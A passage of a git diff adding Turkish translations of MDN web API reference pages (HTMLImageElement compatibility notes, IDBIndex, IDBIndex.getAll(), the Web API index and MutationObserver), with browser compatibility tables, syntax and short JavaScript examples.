</tr> + <tr> + <td><code>referrerPolicy</code> {{experimental_inline}}</td> + <td>{{CompatChrome(51)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop(50)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>onerror</code> event handler</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop(51)}}<sup>[5]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(1.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>lowSrc</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>naturalWidth</code>, <code>naturalHeight</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>9</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>crossorigin</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>complete</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>srcset</code> {{experimental_inline}}</td> + <td>{{CompatChrome(34)}}</td> + <td>{{CompatChrome(34)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(32)}}<sup>[2]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>iOS 8</td> + </tr> + <tr> + <td><code>currentSrc </code>{{experimental_inline}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(32)}}<sup>[2]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>sizes</code> {{experimental_inline}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(33)}}<sup>[3]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>x</code> and <code>y</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>14<sup>[1]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>referrerPolicy</code> {{experimental_inline}}</td> + <td>{{CompatChrome(51)}}</td> + <td>{{CompatChrome(51)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile(50)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>onerror</code> event handler</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile(51)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Though, these <code>x</code> and <code>y</code> properties were removed in Gecko 7.0 {{geckoRelease("7.0")}} but later, they were restored in Gecko 14.0 {{geckoRelease("14.0")}} for compatibility reasons.</p> + +<p>[2] This feature is behind the <code>dom.image.srcset.enabled</code> preference, defaulting to <code>false</code>.</p> + +<p>[3] This feature is behind the <code>dom.image.picture.enabled</code> preference, defaulting to <code>false</code>.</p> + +<p>[4] IE reports <code>false</code> for broken images.</p> + +<p>[5] May also be supported in earlier versions.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>The HTML element implementing this interface: {{HTMLElement("img")}}</li> +</ul> diff --git a/files/tr/web/api/idbindex/getall/index.html b/files/tr/web/api/idbindex/getall/index.html new file mode 100644 index 0000000000..dfbd31c48d --- /dev/null +++ b/files/tr/web/api/idbindex/getall/index.html @@ -0,0 +1,164 @@ +--- +title: IDBIndex.getAll() +slug: Web/API/IDBIndex/getAll +translation_of: Web/API/IDBIndex/getAll +--- +<p>{{ APIRef("IndexedDB") }}</p> + +<div> +<p><strong><code>getAll()</code></strong> metodu {{domxref("IDBIndex")}} Arabirimi, dizinin içindeki tüm nesneleri alır.</p> +</div> + +<p>Nesne tembel olarak oluşturulduğundan, bir imlecin value özelliğine bakmakla ilişkili bir performans maliyeti söz konusudur. GetAll () gibi bir özellik kullanmak için, tarayıcının tüm nesneleri aynı anda oluşturması gerekir. Örneğin sadece anahtarların her birine bakmak istiyorsanız, bir imleci kullanmak daha etkilidir. Ancak, bir nesne deposundaki tüm nesnelerin bir dizisini almaya çalışıyorsanız, getAll () kullanmalısınız.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">var getAllKeysRequest = <em>IDBIndex</em>.getAll(); +var getAllKeysRequest = <em>IDBIndex</em>.getAll(<em>query</em>); +var getAllKeysRequest = <em>IDBIndex</em>.getAll(<em>query</em>, <em>count</em>);</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><em>query</em> {{optional_inline}}</dt> + <dd>A key or an {{domxref("IDBKeyRange")}} identifying the records to retrieve. If this value is null or missing, the browser will use an unbound key range.</dd> + <dt><em>count</em> {{optional_inline}}</dt> + <dd>The number records to return. If this value exceeds the number of records in the query, the browser will only retrieve the first item. If it is lower than <code>0</code> or greater than <code>2<sup>32</sup>-1</code> a {{jsxref("TypeError")}} exception will be thrown.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>An {{domxref("IDBRequest")}} object on which subsequent events related to this operation are fired.</p> + +<h3 id="Exceptions">Exceptions</h3> + +<p>This method may raise a {{domxref("DOMException")}} of the following types:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Exception</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>TransactionInactiveError</code></td> + <td>This {{domxref("IDBIndex")}}'s transaction is inactive.</td> + </tr> + <tr> + <td><code>InvalidStateError</code></td> + <td>The {{domxref("IDBIndex")}} has been deleted or removed.</td> + </tr> + </tbody> +</table> + +<p>A {{jsxref("TypeError")}} exception is thrown if the <code>count</code> parameter is not between <code>0</code> and <code>2<sup>32</sup>-1</code> included.</p> + +<h2 id="Example">Example</h2> + +<pre class="brush: js">var myIndex = objectStore.index('index'); +var getAllKeysRequest = myIndex.getAllKeys(); +getAllKeysRequest.onsuccess = function() { + console.log(getAllKeysRequest.result); +}</pre> + +<h2 id="Specification">Specification</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('IndexedDB 2', '#dom-idbindex-getall', 'getAll()')}}</td> + <td>{{Spec2('IndexedDB 2')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatChrome(48) }}</td> + <td>{{ CompatGeckoDesktop("44.0") }} [1]</td> + <td>{{ CompatNo }}</td> + <td>{{CompatOpera(35)}}</td> + <td>{{ CompatNo}}</td> + </tr> + <tr> + <td>Indexed Database 2.0</td> + <td>{{CompatChrome(58)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOpera(45)}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatChrome(48) }}</td> + <td>{{ CompatChrome(48) }}</td> + <td>{{ CompatGeckoDesktop("44.0") }} [1]</td> + <td>{{ CompatNo}}</td> + <td>{{CompatOperaMobile(35)}}</td> + <td>{{ CompatNo}}</td> + </tr> + <tr> + <td>Indexed Database 2.0</td> + <td>{{CompatChrome(58)}}</td> + <td>{{CompatChrome(58)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOperaMobile(45)}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p> [1] This feature was available since Firefox 24, but behind the <code>dom.indexedDB.experimental</code> pref, off by default</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li> + <li>Starting transactions: {{domxref("IDBDatabase")}}</li> + <li>Using transactions: {{domxref("IDBTransaction")}}</li> + <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li> + <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li> + <li>Using cursors: {{domxref("IDBCursor")}}</li> + <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">view example live</a>.)</li> +</ul> diff --git a/files/tr/web/api/idbindex/index.html b/files/tr/web/api/idbindex/index.html new file mode 100644 index 0000000000..a14089a7f3 --- /dev/null +++ b/files/tr/web/api/idbindex/index.html @@ -0,0 +1,337 @@ +--- +title: IDBIndex +slug: Web/API/IDBIndex +tags: + - API + - Database + - IDBIndex + - IndexedDB + - Interface + - NeedsTranslation + - Reference + - Storage + - TopicStub +translation_of: Web/API/IDBIndex +--- +<p>{{APIRef("IndexedDB")}}</p> + +<p><span class="seoSummary"><code>IDBIndex</code> interface of the <a href="/en/IndexedDB" title="en/IndexedDB">IndexedDB API</a> provides asynchronous access to an <a href="/en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_index" title="en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_index">index</a> in a database. An index is a kind of object store for looking up records in another object store, called the referenced object store. You use this interface to retrieve data.</span></p> + +<p>You can retrieve records in an object store through the primary key or by using an index. An index lets you look up records in an object store using properties of the values in the object stores records other than the primary key</p> + +<p>The index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store. The records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted. Each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. When the object store changes, all indexes that refers to the object store are automatically updated.</p> + +<p><span style="line-height: 1.5;">You can grab a set of keys within a range. To learn more, see {{domxref("IDBKeyRange")}}.</span></p> + +<p>{{AvailableInWorkers}}</p> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{domxref("IDBIndex.isAutoLocale")}} {{readonlyInline}} {{ Non-Standard_inline() }}</dt> + <dd>Returns a {{domxref("Boolean")}} indicating whether the index had a <code>locale</code> value of <code>auto</code> specified upon its creation (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.)</dd> + <dt>{{domxref("IDBIndex.locale")}} {{readonlyInline}} {{ Non-Standard_inline() }}</dt> + <dd>Returns the locale of the index (for example <code>en-US</code>, or <code>pl</code>) if it had a <code>locale</code> value specified upon its creation (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.)</dd> + <dt>{{domxref("IDBIndex.name")}}</dt> + <dd>The name of this index.</dd> + <dt>{{domxref("IDBIndex.objectStore")}} {{readonlyInline}}</dt> + <dd>The name of the object store referenced by this index.</dd> + <dt>{{domxref("IDBIndex.keyPath")}} {{readonlyInline}}</dt> + <dd>The <a href="/en/IndexedDB#gloss_key_path" title="en/IndexedDB#gloss key path">key path</a> of this index. If null, this index is not <a href="/en/IndexedDB/Index#gloss_auto-populated" title="en/IndexedDB/Index#gloss auto-populated">auto-populated</a>.</dd> + <dt>{{domxref("IDBIndex.multiEntry")}} {{readonlyInline}}</dt> + <dd>Affects how the index behaves when the result of evaluating the index's key path yields an array. If <code>true</code>, there is one record in the index for each item in an array of keys. If <code>false</code>, then there is one record for each key that is an array.</dd> + <dt>{{domxref("IDBIndex.unique")}} {{readonlyInline}}</dt> + <dd>If <code>true</code>, this index does not allow duplicate values for a key.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p>Inherits from: <a href="/en/DOM/EventTarget" title="en/DOM/EventTarget">EventTarget</a></p> + +<dl> + <dt>{{domxref("IDBIndex.count()")}}</dt> + <dd>Returns an {{domxref("IDBRequest")}} object, and in a separate thread, returns the number of records within a key range.</dd> + <dt>{{domxref("IDBIndex.get()")}}</dt> + <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the value in the referenced object store that corresponds to the given key or the first corresponding value, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd> + <dt>{{domxref("IDBIndex.getKey()")}}</dt> + <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the given key or the primary key, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd> + <dt>{{domxref("IDBIndex.getAll()")}}</dt> + <dd>Returns an {{domxref("IDBRequest")}} object, in a separate thread, finds all matching values in the referenced object store that correspond to the given key or are in range, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd> + <dt>{{domxref("IDBIndex.getAllKeys()")}}</dt> + <dd>Returns an {{domxref("IDBRequest")}} object, in a separate thread, finds all matching keys in the referenced object store that correspond to the given key or are in range, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd> + <dt>{{domxref("IDBIndex.openCursor()")}}</dt> + <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a <a href="/en/IndexedDB#gloss_cursor" title="en/IndexedDB#gloss cursor">cursor</a> over the specified key range.</dd> + <dt>{{domxref("IDBIndex.openKeyCursor()")}}</dt> + <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a cursor over the specified key range, as arranged by this index.</dd> +</dl> + +<h2 id="Example">Example</h2> + +<p>In the following example we open a transaction and an object store, then get the index <code>lName</code> from a simple contacts database. We then open a basic cursor on the index using {{domxref("IDBIndex.openCursor")}} — this works the same as opening a cursor directly on an <code>ObjectStore</code> using {{domxref("IDBObjectStore.openCursor")}} except that the returned records are sorted based on the index, not the primary key.</p> + +<p>Finally, we iterate through each record, and insert the data into an HTML table. For a complete working example, see our <a href="https://mdn.github.io/indexeddb-examples/idbindex/">IDBIndex-example demo repo</a> (<a href="https://github.com/mdn/indexeddb-examples/tree/master/idbindex">View the example live</a>.)</p> + +<pre class="brush: js" style="font-size: 14px;">function displayDataByIndex() { + tableEntry.innerHTML = ''; + var transaction = db.transaction(['contactsList'], 'readonly'); + var objectStore = transaction.objectStore('contactsList'); + + var myIndex = objectStore.index('lName'); + myIndex.openCursor().onsuccess = function(event) { + var cursor = event.target.result; + if(cursor) { + var tableRow = document.createElement('tr'); + tableRow.innerHTML = '<td>' + cursor.value.id + '</td>' + + '<td>' + cursor.value.lName + '</td>' + + '<td>' + cursor.value.fName + '</td>' + + '<td>' + cursor.value.jTitle + '</td>' + + '<td>' + cursor.value.company + '</td>' + + '<td>' + cursor.value.eMail + '</td>' + + '<td>' + cursor.value.phone + '</td>' + + '<td>' + cursor.value.age + '</td>'; + tableEntry.appendChild(tableRow); + + cursor.continue(); + } else { + console.log('Entries all displayed.'); + } + }; +};</pre> + +<h2 id="Specification">Specification</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('IndexedDB', '#idl-def-IDBIndex', 'IDBIndex')}}</td> + <td>{{Spec2('IndexedDB')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("IndexedDB 2", "#index-interface", "IDBIndex")}}</td> + <td>{{Spec2("IndexedDB 2")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(23.0)}}{{property_prefix("webkit")}}<br> + {{CompatChrome(24.0)}} (unprefixed)<br> + {{CompatChrome(38)}} (prefixes deprecated)<br> + {{CompatChrome(57)}} (prefixes removed)</td> + <td>{{CompatVersionUnknown}}</td> + <td>10 {{property_prefix("moz")}}<br> + {{CompatGeckoDesktop("16.0")}}</td> + <td>10, partial</td> + <td>{{CompatOpera(15)}}<br> + {{CompatOpera(44)}} (prefixes removed)</td> + <td>7.1</td> + </tr> + <tr> + <td><code>count()</code></td> + <td>{{CompatChrome(23.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoDesktop("22.0") }}</td> + <td>10, partial</td> + <td>{{CompatOpera(15)}}</td> + <td>7.1</td> + </tr> + <tr> + <td><code>getAll()</code> and <code>getAllKeys()</code></td> + <td>{{CompatChrome(48.0)}}</td> + <td>{{CompatNo}}</td> + <td>{{ CompatGeckoDesktop("24.0") }}<br> + behind <code>dom.indexedDB.experimental</code> pref</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + </tr> + <tr> + <td>Available in workers</td> + <td>{{CompatVersionUnknown}} (unprefixed)<br> + {{CompatChrome(38)}} (prefixes deprecated)<br> + {{CompatChrome(57)}} (prefixes removed)</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("37.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}<br> + {{CompatOpera(44)}} (prefixes removed)</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>isAutoLocale</code> and <code>locale</code></td> + <td>{{ CompatNo() }}</td> + <td>{{CompatNo}}</td> + <td> + <p>{{CompatGeckoDesktop("43.0")}}<br> + behind <code>dom.indexedDB.experimental</code> pref</p> + </td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + </tr> + <tr> + <td><code>name</code> setter available</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(49)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Indexed Database 2.0</td> + <td>{{CompatChrome(58)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOpera(45)}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android Webview</th> + <th>Chrome for Android </th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}<br> + {{CompatChrome(38)}} (prefixes deprecated)<br> + {{CompatChrome(57)}} (prefixes removed)</td> + <td>{{CompatVersionUnknown}}<br> + {{CompatChrome(38)}} (prefixes deprecated)<br> + {{CompatChrome(57)}} (prefixes removed)</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoMobile("22.0") }}</td> + <td>1.0.1</td> + <td>10</td> + <td>{{CompatOperaMobile(22)}}<br> + {{CompatOperaMobile(44)}} (prefixes removed)</td> + <td>{{ CompatNo() }}</td> + </tr> + <tr> + <td><code>count()</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoMobile("22.0") }}</td> + <td>1.0.1</td> + <td>10</td> + <td>{{CompatOperaMobile(22)}}</td> + <td>{{ CompatNo() }}</td> + </tr> + <tr> + <td><code>getAll()</code> and <code>getAllKeys()</code></td> + <td>{{CompatChrome(48.0)}}</td> + <td> </td> + <td>{{CompatNo}}</td> + <td>{{ CompatGeckoMobile("24.0") }}<br> + behind <code>dom.indexedDB.experimental</code> pref</td> + <td>1.1 behind<br> + <code>dom.indexedDB.experimental</code> pref</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + </tr> + <tr> + <td>Available in workers</td> + <td>{{CompatVersionUnknown}} (unprefixed)<br> + {{CompatChrome(38)}} (prefixes deprecated)<br> + {{CompatChrome(57)}} (prefixes removed)</td> + <td>{{CompatVersionUnknown}} (unprefixed)<br> + {{CompatChrome(38)}} (prefixes deprecated)<br> + {{CompatChrome(57)}} (prefixes removed)</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("37.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}<br> + {{CompatOperaMobile(44)}} (prefixes removed)</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>isAutoLocale</code> and <code>locale</code></td> + <td>{{ CompatNo()}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile("43.0")}}<br> + behind <code>dom.indexedDB.experimental</code> pref</td> + <td>2.5<br> + behind <code>dom.indexedDB.experimental</code> pref</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + </tr> + <tr> + <td><code>name</code> setter available</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(49)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Indexed Database 2.0</td> + <td>{{CompatChrome(58)}}</td> + <td>{{CompatChrome(58)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOperaMobile(45)}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li> + <li>Starting transactions: {{domxref("IDBDatabase")}}</li> + <li>Using transactions: {{domxref("IDBTransaction")}}</li> + <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li> + <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li> + <li>Using cursors: {{domxref("IDBCursor")}}</li> + <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li> +</ul> diff --git a/files/tr/web/api/index.html b/files/tr/web/api/index.html new file mode 100644 index 0000000000..d3c6aa02e3 --- /dev/null +++ b/files/tr/web/api/index.html @@ -0,0 +1,15 @@ +--- +title: Web API Nesne Tipleri +slug: Web/API +tags: + - JavaScript + - Referans + - Türkçe JavaScript + - Uygulamalar + - Web + - dolap.com +translation_of: Web/API +--- +<p>JavaScript ile Web için kod yazarken kullanılabilecek çok fazla API vardır. Aşağıdaki listede Web uygulamanızı veya sitenizi geliştirirken kullanabileceğiniz tüm nesne tiplerini bulabilirsiniz.</p> + +<div><font><font><font><font><font><font><font><font><font><font><font><font>{{APIListAlpha}}</font></font></font></font></font></font></font></font></font></font></font></font></div> diff --git a/files/tr/web/api/mutationobserver/index.html b/files/tr/web/api/mutationobserver/index.html new file mode 100644 index 0000000000..33b181344b --- /dev/null +++ b/files/tr/web/api/mutationobserver/index.html @@ -0,0 +1,250 @@ +--- +title: MutationObserver +slug: Web/API/MutationObserver +tags: + - API + - DOM + - Dönüşüm Gözlemcisi +translation_of: Web/API/MutationObserver +--- +<p>{{APIRef("DOM")}}</p> + +<p><code>MutationObserver</code>, geliştiricilere <a href="/en-US/docs/DOM">DOM</a>'da gerçekleşen değişimleri yakalanması ve bir tepki üretilmesi için bir yol sunar. <a href="/en-US/docs/DOM/Mutation_events">Dönüşüm (Mutasyon) Olayları</a>'nın yerini almak üzere tasarlanmış, DOM3 Events (Olaylar) belirlemesinde tanımlanmıştır.</p> + +<h2 id="Kurucu_İşlerlik_(İşlev)">Kurucu İşlerlik (İşlev)</h2> + +<h3 id="MutationObserver()"><code>MutationObserver()</code></h3> + +<p>DOM dönüşüm gözlemcilerini (mutation observer) yaratmak için kullanılır.</p> + +<pre class="syntaxbox">new MutationObserver( + function geriyeCagri +); +</pre> + +<h6 id="Yönergeler_(Parametreler)">Yönergeler (Parametreler)</h6> + +<dl> + <dt>geriyeCagri</dt> + <dd>Her DOM dönüşümünde çağrılacak işlerliktir. Gözlemci, bu işlerliği iki yönergeyle çağıracaktır. İlki, {{domxref("MutationRecord")}} cinsinden nesneleri barındıran bir dizi; ikincisi <code>MutationObserver</code>'ın geçerli olan örneğidir.</dd> +</dl> + +<h2 id="Nesne_İşlerlikleri">Nesne İşlerlikleri</h2> + +<table class="standard-table"> + <tbody> + <tr> + <td><code>void <a href="#observe()">observe</a>( {{domxref("Node")}} hedef, <a href="#MutationObserverInit">MutationObserverInit</a> ayarlar );</code></td> + </tr> + <tr> + <td><code>void <a href="#disconnect()">disconnect</a>();</code></td> + </tr> + <tr> + <td><code>Array <a href="#takeRecords()">takeRecords</a>();</code></td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>Anımsatma</strong>: Hedefin {{domxref("Node")}} diye belirtilen cinsi, <a href="https://nodejs.org/en/">NodeJS</a> ile karıştırılmamalıdır..</p> +</div> + +<h3 id="observe()"><code>observe()</code></h3> + +<p>Belirtilen DOM düğüm noktasının (node) yapısında meydana gelen değişimlerin bildirilebilmesi için <code>MutationObserver</code> nesnesini kaydettirir.</p> + +<pre class="syntaxbox">void observe( + {{domxref("Node")}} hedef, + <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> ayarlar +); +</pre> + +<h6 id="Yönergeler">Yönergeler</h6> + +<dl> + <dt><code>hedef</code></dt> + <dd>DOM yapısındaki dönüşümlerin gözleneceği, {{domxref("Node")}} sınıfında bir DOM düğüm noktasıdır.</dd> + <dt><code>ayarlar</code></dt> + <dd>Hangi dönüşümlerin bildirileceğini belirten bir <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> sınıfı nesnesidir.</dd> +</dl> + +<div class="note"><strong>Anımsatma:</strong> Bir DOM ögesine (element) gözlemci atamak tıpkı addEventListener ile bir olay belirtmek gibidir. Eğer aynı gözlemciyi aynı geriye çağrı (callback) işlerliğiyle birden fazla kez aynı ögeye atarsanız dönüşümlerde işlerlik ikişer-üçer kez çağrılmaz. Tek bir kez gerçekleşir. Fakat aynı gözlemciyi aynı ögeye farklı geriye çağrı işlerlikleriyle atarsanız bu durumda her dönüşümde belirtilen tüm geriye çağrı işlerlikleri yürütülür.</div> + +<h3 id="disconnect()"><code>disconnect()</code></h3> + +<p><code>MutationObserver</code> nesnesinin DOM dönüşümlerinden haber almasını durdurur. <a href="#observe()"><code>observe()</code></a> işlerliği çağrılıncaya dek, nesnenin geriye çağrı (callback) işlerliği, DOM dönüşümlerinde çağrılmaz.</p> + +<pre class="syntaxbox">void disconnect(); +</pre> + +<h3 id="takeRecords()"><code>takeRecords()</code></h3> + +<p><code>MutationObserver</code> nesnesinin kayıt kuyruğunda tuttuğu kayıtları elde etmeye ve kuyruğu boşaltmaya yarar.</p> + +<pre class="syntaxbox">Array takeRecords(); +</pre> + +<h6 id="Döndürülen_değer">Döndürülen değer</h6> + 